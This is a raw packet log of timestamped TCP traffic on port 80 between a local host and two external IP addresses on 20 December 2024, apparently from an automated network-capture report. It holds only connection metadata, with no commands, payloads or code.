Dec 20, 2024 04:12:50.080074072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.080112934 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.080180883 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.080223083 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.081181049 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.081219912 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.081290960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.081330061 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.082298994 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.082340956 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.082392931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.082431078 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.083583117 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.083592892 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.083625078 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.084500074 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.084538937 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.084605932 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.084645033 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.085642099 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.085681915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.085733891 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.085773945 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.086704016 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.086743116 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.086822987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.086863041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.087821007 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.087862968 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.087928057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.087960958 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.088957071 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.088994980 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.089063883 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.089102030 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.090029001 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.090068102 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.090142012 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.090179920 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.091147900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.091187000 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.091290951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.091331959 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.092255116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.092297077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.092361927 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.092403889 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.093353987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.093394041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.093458891 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.093497992 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.094413042 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.094454050 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.122750044 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.122757912 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.122761011 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.122767925 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.122890949 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.122899055 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123028040 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123039961 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123047113 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123155117 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123174906 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123184919 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123327017 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123334885 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123449087 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123456955 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123466969 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123473883 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123616934 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123625040 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123780012 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123788118 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123795033 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123918056 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123931885 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.123939991 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124074936 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124083042 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124089956 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124098063 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124187946 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124196053 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124211073 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124217987 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124223948 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124233007 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124303102 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124310017 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124427080 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124464035 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124564886 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124613047 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124675035 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124707937 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124829054 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124836922 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124921083 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124927998 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.124969006 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.125020027 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.125077963 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.125086069 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.125190020 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126409054 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126424074 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126502037 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126516104 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126570940 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126647949 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126732111 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126744032 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126759052 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126806974 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126847029 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126882076 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126981020 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.126988888 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127062082 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127166986 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127175093 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127259970 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127269030 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127274990 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127371073 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127379894 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127387047 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127393961 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127465963 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127474070 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127504110 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127511978 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127604961 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127613068 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127701044 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127710104 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127784014 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127790928 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127862930 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127871037 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127904892 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.127955914 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.228627920 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.228641033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.228713989 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.229358912 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.229412079 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.229517937 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.229563951 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.230283022 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.230323076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.230433941 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.230472088 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.231494904 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.231503963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.231539011 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.232587099 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.232631922 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.232753992 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.232789040 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.233623981 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.233659029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.233757019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.233798981 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.234626055 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.234672070 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.235245943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.235285044 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.235655069 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.235701084 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.235779047 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.235821962 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.237901926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.237911940 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.237946987 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.238547087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.238590002 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.238671064 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.238708973 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.239168882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.239207983 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.239299059 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.239330053 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.240359068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.240369081 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.240397930 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.242536068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.242578983 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.242649078 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.242688894 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.243746996 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.243757010 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.243783951 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.244719028 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.244728088 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.244757891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.245068073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.245110989 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.245277882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.245337009 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.245646954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.245687962 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.245716095 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.245757103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.247097969 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.247107983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.247139931 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.248567104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.248606920 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.248760939 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.248799086 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.252758980 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.252803087 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.252895117 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.252933025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.253773928 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.253818035 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.253844976 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.253882885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.254961014 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.255007982 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.255065918 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.255103111 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.256012917 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.256056070 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.256149054 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.256187916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.256555080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.256566048 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.256575108 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.256598949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.256624937 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.256731033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.256777048 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.256908894 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.256921053 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.256947041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.256966114 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.257648945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.257659912 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.257694960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.258198977 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.258209944 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.258241892 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.259113073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.259124994 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.259155035 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.259171009 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.259969950 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.260010958 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.260070086 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.260113955 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.261085987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.261130095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.261179924 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.261224031 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.262381077 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.262391090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.262423992 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.263535023 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.263545036 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.263573885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.265017033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.265028000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.265069962 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.265098095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.266074896 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.266086102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.266118050 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.266128063 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.266787052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.266798019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.266834974 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.267714024 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.267750978 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.267822027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.267863035 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.269273996 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.269285917 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.269315958 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.269326925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.269927025 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.269968987 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.270211935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.270251036 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.271142960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.271153927 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.271186113 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.271193027 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.272147894 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.272191048 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.272258043 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.272300005 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.273262978 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.273304939 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.273382902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.273425102 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.274907112 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.274916887 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.274950981 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.275706053 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.275717020 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.275752068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.276566029 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.276606083 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.276700974 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.276741028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.277712107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.277754068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.277841091 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.277885914 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.278970003 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.278980017 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.279011011 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.280070066 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.280078888 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.280128002 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.281006098 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.281050920 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.281075954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.281115055 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.282099962 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.282145023 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.282203913 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.282247066 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.283274889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.283308983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.283318996 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.283350945 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.288166046 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.288176060 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.288209915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.288773060 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.288783073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.288817883 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.289171934 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.289211035 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.420677900 CET	80	49875	31.41.244.11	192.168.2.4
